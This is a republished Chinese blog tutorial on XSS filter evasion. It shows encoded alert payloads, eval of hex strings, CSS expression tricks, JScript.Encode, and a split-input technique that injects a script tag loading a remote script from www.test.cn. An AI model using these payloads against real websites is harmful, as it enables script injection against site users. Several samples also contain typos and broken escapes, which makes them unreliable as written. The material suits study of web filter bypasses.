1.利用字符编码

(1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode

 

(2)使用一个XSS编码工具,以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码

例如:<img  src="javascript:alert('xss');">

         编码后:

      <img  src="&#106&#97&#115&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

(3)另外在javascript中,有一个eval()函数,该函数可计算字符串,并执行其中的javascript代码,

例如:  <script>

           eval("alert('xss')");

          </script>

(4)可以使用连接字符串,然后使用eval()函数执行十六进制字符串形式的脚本:

例如:  <script>

          eval("x61x6cx65x72x74x28x27x58x53x27x29");

          </script>

 

(5)此外,样式表也支持分析和解释连接的十六进制字符串形式,浏览器能正常解释:

例如:<style>

          BODY{backgroud:75726c28687474703a2f2f31372e302e302e302e312f7873732e67696629

                   }

         </style>

 

(6)style属性中的javascript和expression等字符一般会被程序过滤掉,但经过十六进制编码后则可以逃避过滤:

例如:

①<div   style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;"

(alert(1));"/div>

②<img  STYLE="backgroud-image:

75726c286a6176617363726970743a616c6572742827585353272929">

 

(7)javascript支持unicode,escapes,十六进制,八进制等编码方式

 

(8)编码/加密技术-------JScript  Encode 和  VBScript  Encode

Microsoft提供了脚本加密机制,可以对脚本进行加密,包括JScript和VBScript,经过加密的脚本能在IE下运行,在其他浏览器中则不识别;

例如:

<script   language="JScript.Encode">

#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@       //等价于alert(1)

</script>

 

 

2.拆分跨站法:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;

存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:

标题1:<script>z='<script  src=';  /*

标题2:*/z+='http://www.test.c'; /*

标题3:*/z+='n/l.js>< /script>';  /*

标题4:*/document/write(z) </script>

 

/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:

<script> z='<script src=';

z+='http://www.test.c';

z+='n/l.js>< /script>';

document.write(z)</script>

 

然后依次赋值给z变量:

<script>z='<script src=http://www.test.c/l.js></script>';

document.write(z)

</script>

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/hqutcy/p/5750584.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!